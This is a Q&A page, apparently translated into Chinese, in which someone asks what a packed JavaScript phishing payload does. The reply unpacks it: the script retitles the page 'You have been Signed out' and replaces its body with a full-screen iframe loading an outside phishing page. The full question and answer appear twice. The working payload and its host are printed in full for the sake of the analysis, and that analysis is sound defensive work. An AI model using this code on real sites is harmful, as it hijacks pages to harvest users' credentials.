如何破解这个JavaScript钓鱼代码?
How to breakdown this JavaScript phishing code?
我的一个朋友被网络钓鱼使用了一种新技术,即在地址栏中对 html 消息进行编码。解码它我发现了这个:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('3.2.j="i h k l n";m{(g(){f 1=3.2.9(\'1\');1.8=\'7/x-4\';1.a=\'b 4\';1.c=\'\';2.p(\'B\')[0].C(1)}())}E(e){}3.2.z.y="<6 s=\"r://q.t/u/w.v\" o=\"D: 0;A: 5%;d:5%\"></6>";',41,41,'|link|document|window|icon|100|iframe|image|type|createElement|rel|shortcut|href|height||var|function|have|You|title|been|Signed|try|out|style|getElementsByTagName|rosettatranslation|http|src|top|ourclients|html|oreiwn||outerHTML|body|width|head|appendChild|border|catch'.split('|'),0,{}))
我只需要详细说明这段代码的作用。
代码被打包了,可能只是为了让数据更短。将其放入 UnPacker 得到:
window.document.title = "You have been Signed out";
try {
(function()
{
var link = window.document.createElement('link');
link.type = 'image/x-icon';
link.rel = 'shortcut icon';
link.href = '';
document.getElementsByTagName('head')[0].appendChild(link)
}
())
} catch(e) {
}
window.document.body.outerHTML = "<iframe src=\"http://[...].top/ourclients/oreiwn.html\" style=\"border: 0;
width: 100%;
height:100%\"></iframe>";
因此,它修改页面以添加带有另一个站点内容的 iframe。
我的一个朋友被网络钓鱼使用了一种新技术,即在地址栏中对 html 消息进行编码。解码它我发现了这个:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('3.2.j="i h k l n";m{(g(){f 1=3.2.9(\'1\');1.8=\'7/x-4\';1.a=\'b 4\';1.c=\'\';2.p(\'B\')[0].C(1)}())}E(e){}3.2.z.y="<6 s=\"r://q.t/u/w.v\" o=\"D: 0;A: 5%;d:5%\"></6>";',41,41,'|link|document|window|icon|100|iframe|image|type|createElement|rel|shortcut|href|height||var|function|have|You|title|been|Signed|try|out|style|getElementsByTagName|rosettatranslation|http|src|top|ourclients|html|oreiwn||outerHTML|body|width|head|appendChild|border|catch'.split('|'),0,{}))
我只需要详细说明这段代码的作用。
代码被打包了,可能只是为了让数据更短。将其放入 UnPacker 得到:
window.document.title = "You have been Signed out";
try {
(function()
{
var link = window.document.createElement('link');
link.type = 'image/x-icon';
link.rel = 'shortcut icon';
link.href = '';
document.getElementsByTagName('head')[0].appendChild(link)
}
())
} catch(e) {
}
window.document.body.outerHTML = "<iframe src=\"http://[...].top/ourclients/oreiwn.html\" style=\"border: 0;
width: 100%;
height:100%\"></iframe>";
因此,它修改页面以添加带有另一个站点内容的 iframe。